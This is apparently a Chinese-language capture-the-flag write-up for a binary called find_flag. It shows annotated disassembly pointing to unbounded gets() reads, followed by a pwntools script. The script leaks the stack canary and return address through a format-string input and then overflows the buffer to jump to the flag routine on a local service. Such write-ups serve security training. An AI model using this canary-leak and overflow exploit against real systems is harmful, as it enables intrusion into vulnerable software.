解题过程

分析find_flag程序,存在的漏洞位于sub_132F函数中,该函数中,存在栈溢出漏洞,如下所示:

  1. .text:000000000000132F sub_132F proc near ; CODE XREF: main+71p
  2. .text:000000000000132F; __unwind {
  3. .text:000000000000132F endbr64
  4. .text:0000000000001333 push rbp
  5. .text:0000000000001334 mov rbp, rsp
  6. .text:0000000000001337sub rsp, 60h
  7. .text:000000000000133B mov rax, fs:28h
  8. .text:0000000000001344 mov [rbp-8], rax
  9. .text:0000000000001348 xor eax, eax
  10. .text:000000000000134A lea rdi, aHiWhatSYourNam ; "Hi! What's your name? "
  11. .text:0000000000001351 mov eax, 0
  12. .text:0000000000001356 call sub_1100
  13. .text:000000000000135B lea rax, [rbp-60h]
  14. .text:000000000000135F mov rdi, rax
  15. .text:0000000000001362 mov eax, 0
  16. .text:0000000000001367 call sub_1110 ; gets读入数据,未限制大小
  17. .text:000000000000136C lea rdi, aNiceToMeetYou ; "Nice to meet you, "
  18. .text:0000000000001373 mov eax, 0
  19. .text:0000000000001378 call sub_1100
  20. .text:000000000000137D lea rax, [rbp-60h]
  21. .text:0000000000001381 mov rcx, 0FFFFFFFFFFFFFFFFh
  22. .text:0000000000001388 mov rdx, rax
  23. .text:000000000000138B mov eax, 0
  24. .text:0000000000001390 mov rdi, rdx
  25. .text:0000000000001393 repne scasb
  26. .text:0000000000001395 mov rax, rcx
  27. .text:0000000000001398not rax
  28. .text:000000000000139B lea rdx, [rax-1]
  29. .text:000000000000139F lea rax, [rbp-60h]
  30. .text:00000000000013A3 add rax, rdx
  31. .text:00000000000013A6 mov word ptr [rax], 0A21h
  32. .text:00000000000013AB mov byte ptr [rax+2], 0
  33. .text:00000000000013AF lea rax, [rbp-60h]
  34. .text:00000000000013B3 mov rdi, rax
  35. .text:00000000000013B6 mov eax, 0
  36. .text:00000000000013BB call sub_1100
  37. .text:00000000000013C0 lea rdi, aAnythingElse ; "Anything else? "
  38. .text:00000000000013C7 mov eax, 0
  39. .text:00000000000013CC call sub_1100
  40. .text:00000000000013D1 lea rax, [rbp-40h]
  41. .text:00000000000013D5 mov rdi, rax
  42. .text:00000000000013D8 mov eax, 0
  43. .text:00000000000013DD call sub_1110 ; gets读入数据,未限制大小
  44. .text:00000000000013E2 nop
  45. .text:00000000000013E3 mov rax, [rbp-8]
  46. .text:00000000000013E7 xor rax, fs:28h
  47. .text:00000000000013F0 jz short locret_13F7
  48. .text:00000000000013F2 call sub_10D0
  49. .text:00000000000013F7
  50. .text:00000000000013F7 locret_13F7: ; CODE XREF: sub_132F+C1j
  51. .text:00000000000013F7 leave
  52. .text:00000000000013F8 retn
  53. .text:00000000000013F8; } // starts at 132F
  54. .text:00000000000013F8 sub_132F endp

利用代码如下所示:

  1. from pwn import*
  2. importstruct
  3. fs = "%17$lx,%19$lx"
  4. flag = 0x0000000000001231
  5. ret_offset = 0x146f
  6. p = remote('127.0.0.1', 20701)
  7. #p = process('./canary')
  8. print((p.recvuntil('name? ')).decode())
  9. p.sendline(fs.encode())
  10. buf = (p.recvuntil('!\n').decode())
  11. print(buf)
  12. data = buf.split()[4].split('!')[0]
  13. canary = (int((data.split(',')[0]), 16))
  14. ret = (int((data.split(',')[1]), 16))
  15. print(canary)
  16. print(ret)
  17. print(p.recvuntil('? ').decode())
  18. payload = (("A"*56).encode())
  19. payload += struct.pack("<Q", canary)
  20. payload += (("A"*8).encode())
  21. payload += struct.pack("<Q", flag + ret - ret_offset)
  22. p.sendline(payload)
  23. p.interactive()